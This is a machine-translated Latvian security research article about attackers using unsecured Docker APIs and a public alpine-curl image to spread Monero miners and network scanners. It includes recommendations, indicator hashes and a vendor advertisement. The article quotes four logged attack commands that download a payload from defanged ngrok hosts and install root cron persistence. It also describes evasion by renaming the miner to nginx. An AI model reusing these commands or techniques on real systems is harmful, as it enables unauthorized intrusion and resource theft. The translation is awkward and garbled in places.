Kā nepatentētais Docker API un kopienas publiskie attēli tiek izmantoti, lai izplatītu kriptovalūtas kalnračus

Kā nepatentētais Docker API un kopienas publiskie attēli tiek izmantoti, lai izplatītu kriptovalūtas kalnračus

Mēs analizējām datus, kas savākti, izmantojot medus podu konteinerus, kurus izveidojām, lai izsekotu draudiem. Mēs atklājām ievērojamas aktivitātes no nevēlamiem vai neatļautiem kriptovalÅ«tas ieguvējiem, kas tika izvietoti kā negodÄ«gi konteineri, izmantojot kopienas publicētu attēlu vietnē Docker Hub. Attēls tiek izmantots kā daļa no pakalpojuma, kas nodroÅ”ina ļaunprātÄ«gas kriptovalÅ«tas kalnračus.

Turklāt ir instalētas programmas darbam ar tÄ«kliem, lai iekļūtu atvērtos blakus esoÅ”ajos konteineros un lietojumprogrammās.

Mēs atstājam savus meduspodus tādus, kādi ir, tas ir, ar noklusējuma iestatÄ«jumiem, bez jebkādiem droŔības pasākumiem vai papildu programmatÅ«ras instalÄ“Å”anas. LÅ«dzu, ņemiet vērā, ka Docker ir ieteikumi sākotnējai iestatÄ«Å”anai, lai izvairÄ«tos no kļūdām un vienkārŔām ievainojamÄ«bām. Bet izmantotie meduspodi ir konteineri, kas paredzēti, lai atklātu uzbrukumus, kas vērsti pret konteineru platformu, nevis konteineros esoÅ”ajām lietojumprogrammām.

Atklātā ļaunprātÄ«gā darbÄ«ba ir arÄ« ievērojama, jo tai nav nepiecieÅ”ama ievainojamÄ«ba un tā ir arÄ« neatkarÄ«ga no Docker versijas. Nepareizi konfigurēta un lÄ«dz ar to atvērta konteinera attēla atraÅ”ana ir viss, kas uzbrucējiem nepiecieÅ”ams, lai inficētu daudzus atvērtus serverus.

Neaizvērta Docker API ļauj lietotājam veikt plaÅ”u darbÄ«bu klāstu komandas, tostarp, iegÅ«stot darbojoÅ”os konteineru sarakstu, iegÅ«stot žurnālus no konkrēta konteinera, sākÅ”anu, apturÄ“Å”anu (tostarp piespiedu kārtā) un pat izveidojot jaunu konteineru no konkrēta attēla ar noteiktiem iestatÄ«jumiem.

Kā nepatentētais Docker API un kopienas publiskie attēli tiek izmantoti, lai izplatītu kriptovalūtas kalnračus
Kreisajā pusē ir ļaunprātīgas programmatūras piegādes veids. Labajā pusē ir uzbrucēja vide, kas ļauj attālināti izlaist attēlus.

Kā nepatentētais Docker API un kopienas publiskie attēli tiek izmantoti, lai izplatītu kriptovalūtas kalnračus
3762 atvērto Docker API izplatÄ«Å”ana pa valstÄ«m. Pamatojoties uz Shodan meklÄ“Å”anu, kas datēta ar 12.02.2019/XNUMX/XNUMX

Uzbrukuma ķēdes un kravnesības iespējas

Ä»aunprātÄ«ga darbÄ«ba konstatēta ne tikai ar meduspodu palÄ«dzÄ«bu. Dati no Shodan liecina, ka atklāto Docker API skaits (skatiet otro grafiku) ir palielinājies, kopÅ” mēs pētÄ«jām nepareizi konfigurētu konteineru, ko izmantoja kā tiltu Monero kriptovalÅ«tas ieguves programmatÅ«ras izvietoÅ”anai. PagājuŔā gada oktobrÄ« (2018, aktuālie dati tu vari izskatÄ«ties Ŕādi apm. tulkotājs) bija tikai 856 atvērtas API.

Medus podu žurnālu pārbaude parādÄ«ja, ka konteinera attēlu izmantoÅ”ana bija saistÄ«ta arÄ« ar izmantoÅ”anu ngrok, rÄ«ks droÅ”u savienojumu izveidoÅ”anai vai trafika pārsÅ«tÄ«Å”anai no publiski pieejamiem punktiem uz noteiktām adresēm vai resursiem (piemēram, localhost). Tas ļauj uzbrucējiem dinamiski izveidot vietrāžus URL, piegādājot lietderÄ«go slodzi uz atvērtu serveri. Tālāk ir sniegti kodu piemēri no žurnāliem, kas parāda ngrok pakalpojuma ļaunprātÄ«gu izmantoÅ”anu:

Tty: false
Command: ā€œ-c curl ā€“retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ā€hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283ā€;echo ā€* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dā€ >/tmp9bedce/etc/crontab;echo ā€* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dā€ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ā€cron || crondā€ā€,
Entrypoint: ā€œ/bin/shā€

Tty: false,
Command: ā€œ-c curl ā€“retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ā€hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283ā€;echo ā€* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dā€ >/tmp570547/etc/crontab;echo ā€* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dā€ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ā€cron || crondā€ā€,
Entrypoint: ā€œ/bin/shā€

Tty: false,
Command: ā€œ-c curl ā€“retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ā€hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeā€;echo ā€* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedā€ >/tmp326c80/etc/crontab;echo ā€* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedā€ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ā€cron || crondā€ā€,
Entrypoint: ā€œ/bin/shā€,

Tty: false,
Cmd: ā€œ-c curl ā€“retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ā€hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeā€;echo ā€* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedā€ >/tmp8b9b5b/etc/crontab;echo ā€* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedā€ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ā€cron || crondā€ā€,
Entrypoint: ā€œ/bin/shā€

Kā redzat, augÅ”upielādētie faili tiek lejupielādēti no pastāvÄ«gi mainÄ«giem URL. Å iem vietrāžiem URL ir Ä«ss derÄ«guma termiņŔ, tāpēc lietderÄ«gās slodzes nevar lejupielādēt pēc derÄ«guma termiņa beigām.

Ir divas kravnesÄ«bas iespējas. Pirmais ir apkopots ELF miner operētājsistēmai Linux (definēts kā Coinminer.SH.MALXMR.ATNO), kas savienojas ar ieguves baseinu. Otrais ir skripts (TrojanSpy.SH.ZNETMAP.A), kas paredzēts noteiktu tÄ«kla rÄ«ku iegÅ«Å”anai, ko izmanto tÄ«kla diapazonu skenÄ“Å”anai un pēc tam jaunu mērÄ·u meklÄ“Å”anai.

Pilinātāja skripts iestata divus mainÄ«gos, kurus pēc tam izmanto, lai izvietotu kriptovalÅ«tas kalnraču. MainÄ«gais HOST satur vietrādi URL, kurā atrodas ļaunprātÄ«gie faili, un RIP mainÄ«gais ir izvietojamā kalnraču faila nosaukums (faktiski jaucējvārds). MainÄ«gais HOST mainās ikreiz, kad mainās jaukÅ”anas mainÄ«gais. Skripts arÄ« mēģina pārbaudÄ«t, vai uzbruktajā serverÄ« nedarbojas citi kriptovalÅ«tas ieguvēji.

Kā nepatentētais Docker API un kopienas publiskie attēli tiek izmantoti, lai izplatītu kriptovalūtas kalnračus
HOST un RIP mainīgo piemēri, kā arī koda fragments, ko izmanto, lai pārbaudītu, vai nedarbojas citi kalnrači

Pirms kalnraču palaiÅ”anas tas tiek pārdēvēts par nginx. Citas Ŕī skripta versijas pārdēvē kalnraču uz citiem likumÄ«giem pakalpojumiem, kas var bÅ«t pieejami Linux vidēs. Parasti ar to pietiek, lai apietu palaiÅ”anas procesu saraksta pārbaudes.

MeklÄ“Å”anas skriptam ir arÄ« funkcijas. Tas darbojas ar to paÅ”u URL pakalpojumu, lai izvietotu nepiecieÅ”amos rÄ«kus. Starp tiem ir zmap binārs, ko izmanto tÄ«klu skenÄ“Å”anai un atvērto portu saraksta iegÅ«Å”anai. Skripts arÄ« ielādē citu bināro failu, kas tiek izmantots, lai mijiedarbotos ar atrastajiem pakalpojumiem un saņemtu no tiem banerus, lai noteiktu papildu informāciju par atrasto pakalpojumu (piemēram, tā versiju).

Skripts arÄ« iepriekÅ” nosaka dažus skenējamos tÄ«kla diapazonus, taču tas ir atkarÄ«gs no skripta versijas. Tas arÄ« iestata mērÄ·a portus no pakalpojumiem, Å”ajā gadÄ«jumā no Docker, pirms skenÄ“Å”anas.

TiklÄ«dz iespējamie mērÄ·i tiek atrasti, baneri no tiem tiek automātiski noņemti. Skripts arÄ« filtrē mērÄ·us atkarÄ«bā no interesējoÅ”ajiem pakalpojumiem, lietojumprogrammām, komponentiem vai platformām: Redis, Jenkins, Drupal, MODX, Kubernetes meistars, Docker 1.16 klients un Apache CouchDB. Ja skenētais serveris atbilst kādam no tiem, tas tiek saglabāts teksta failā, ko uzbrucēji vēlāk var izmantot turpmākai analÄ«zei un uzlauÅ”anai. Å ie teksta faili tiek augÅ”upielādēti uzbrucēju serveros, izmantojot dinamiskas saites. Tas nozÄ«mē, ka katram failam tiek izmantots atseviŔķs URL, kas nozÄ«mē, ka turpmākā piekļuve ir sarežģīta.

Uzbrukuma vektors ir Docker attēls, kā redzams nākamajās divās koda daļās.

Kā nepatentētais Docker API un kopienas publiskie attēli tiek izmantoti, lai izplatītu kriptovalūtas kalnračus
AugÅ”pusē ir pārdēvÄ“Å”ana par likumÄ«gu pakalpojumu, bet apakŔā ir norādÄ«ts, kā zmap tiek izmantots tÄ«klu skenÄ“Å”anai.

Kā nepatentētais Docker API un kopienas publiskie attēli tiek izmantoti, lai izplatītu kriptovalūtas kalnračus
AugÅ”pusē ir iepriekÅ” noteikti tÄ«kla diapazoni, apakŔā ir Ä«paÅ”i porti pakalpojumu, tostarp Docker, meklÄ“Å”anai

Kā nepatentētais Docker API un kopienas publiskie attēli tiek izmantoti, lai izplatītu kriptovalūtas kalnračus
Ekrānuzņēmums parāda, ka kalnu čokuroÅ”anās attēls ir lejupielādēts vairāk nekā 10 miljonus reižu

Pamatojoties uz Alpine Linux un curl, resursefektÄ«vu CLI rÄ«ku failu pārsÅ«tÄ«Å”anai, izmantojot dažādus protokolus, varat izveidot Docker attēls. Kā redzams iepriekŔējā attēlā, Å”is attēls jau ir lejupielādēts vairāk nekā 10 miljonus reižu. Liels lejupielāžu skaits var nozÄ«mēt Ŕī attēla izmantoÅ”anu kā ieejas punktu; Å”is attēls tika atjaunināts pirms vairāk nekā seÅ”iem mēneÅ”iem; lietotāji ne tik bieži lejupielādēja citus attēlus no Ŕī krātuves. Programmā Docker ieejas punkts - instrukciju kopa, ko izmanto, lai konfigurētu konteineru tā palaiÅ”anai. Ja ieejas punkta iestatÄ«jumi ir nepareizi (piemēram, konteiners ir atstāts atvērts no interneta), attēlu var izmantot kā uzbrukuma vektoru. Uzbrucēji to var izmantot, lai piegādātu lietderÄ«go kravu, ja viņi atrod nepareizi konfigurētu vai atvērtu konteineru, kas nav atbalstÄ«ts.

Ir svarÄ«gi atzÄ«mēt, ka Å”is attēls (alpu čokuroÅ”anās) pats par sevi nav ļaunprātÄ«gs, taču, kā redzat iepriekÅ”, to var izmantot ļaunprātÄ«gu funkciju veikÅ”anai. LÄ«dzÄ«gus Docker attēlus var izmantot arÄ« ļaunprātÄ«gu darbÄ«bu veikÅ”anai. Mēs sazinājāmies ar Docker un sadarbojāmies ar viņiem Å”ajā jautājumā.

Ieteikumi

Nepareizs iestatÄ«jums paliek pastāvÄ«ga problēma daudziem uzņēmumiem, Ä«paÅ”i tiem, kas ievieÅ” DevOps, kas vērsta uz strauju attÄ«stÄ«bu un piegādi. Visu pasliktina nepiecieÅ”amÄ«ba ievērot audita un uzraudzÄ«bas noteikumus, nepiecieÅ”amÄ«ba uzraudzÄ«t datu konfidencialitāti, kā arÄ« to neievēroÅ”anas radÄ«tais milzÄ«gais kaitējums. DroŔības automatizācijas iekļauÅ”ana izstrādes dzÄ«ves ciklā ne tikai palÄ«dz atrast droŔības robus, kas citādi varētu palikt nepamanÄ«ti, bet arÄ« palÄ«dz samazināt nevajadzÄ«gu darba slodzi, piemēram, palaist papildu programmatÅ«ras bÅ«vējumus katrai atklātajai ievainojamÄ«bai vai nepareizai konfigurācijai pēc lietojumprogrammas izvietoÅ”anas.

Å ajā rakstā apspriestais negadÄ«jums uzsver nepiecieÅ”amÄ«bu no paÅ”a sākuma ņemt vērā droŔību, tostarp Ŕādus ieteikumus:

  • Sistēmas administratoriem un izstrādātājiem: vienmēr pārbaudiet API iestatÄ«jumus, lai pārliecinātos, ka viss ir konfigurēts, lai pieņemtu pieprasÄ«jumus tikai no konkrēta servera vai iekŔējā tÄ«kla.
  • Ievērojiet mazāko tiesÄ«bu principu: nodroÅ”iniet konteinera attēlu parakstÄ«Å”anu un pārbaudi, ierobežojiet piekļuvi kritiskajiem komponentiem (konteinera palaiÅ”anas pakalpojums) un pievienojiet tÄ«kla savienojumiem Å”ifrÄ“Å”anu.
  • Sekojiet ieteikumus un iespējot droŔības mehānismus, piem. no Docker un iebÅ«vēts droŔības lÄ«dzekļi.
  • Izmantojiet automātisku izpildlaiku un attēlu skenÄ“Å”anu, lai iegÅ«tu papildu informāciju par procesiem, kas darbojas konteinerā (piemēram, lai noteiktu viltojumus vai meklētu ievainojamÄ«bas). Lietojumprogrammu kontrole un integritātes uzraudzÄ«ba palÄ«dz izsekot neparastām izmaiņām serveros, failos un sistēmas apgabalos.

Trendmicro palÄ«dz DevOps komandām droÅ”i izveidot, ātri izlaist un palaist jebkurā vietā. Trend Micro HibrÄ«da mākoņdroŔība NodroÅ”ina jaudÄ«gu, racionalizētu un automatizētu droŔību visā organizācijas DevOps konveijerā un nodroÅ”ina vairākus aizsardzÄ«bu pret draudiem. XGen lai aizsargātu fiziskās, virtuālās un mākoņa darba slodzes izpildlaikā. Tas arÄ« palielina konteinera droŔību Dziļa droŔība Šø Dziļās droŔības viedā pārbaude, kas skenē Docker konteinera attēlus, lai atrastu ļaunprātÄ«gu programmatÅ«ru un ievainojamÄ«bas jebkurā izstrādes procesa punktā, lai novērstu draudus pirms to izvietoÅ”anas.

Kompromisa pazīmes

Saistītās jaucējzīmes:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

uz Docker video kurss Praktiski skaļruņi parāda, kādi iestatÄ«jumi vispirms ir jāveic, lai samazinātu iepriekÅ” aprakstÄ«tās situācijas iespējamÄ«bu vai pilnÄ«bā izvairÄ«tos no tās. Un 19.-21.augustā tieÅ”saistes intensÄ«vajā DevOps Tools&Cheats Å Ä«s un lÄ«dzÄ«gas droŔības problēmas varat pārrunāt ar kolēģiem un praktizējoÅ”iem skolotājiem pie apaļā galda, kur ikviens var izteikties un ieklausÄ«ties pieredzējuÅ”o kolēģu sāpēs un veiksmēs.

Avots: www.habr.com

Pievieno komentāru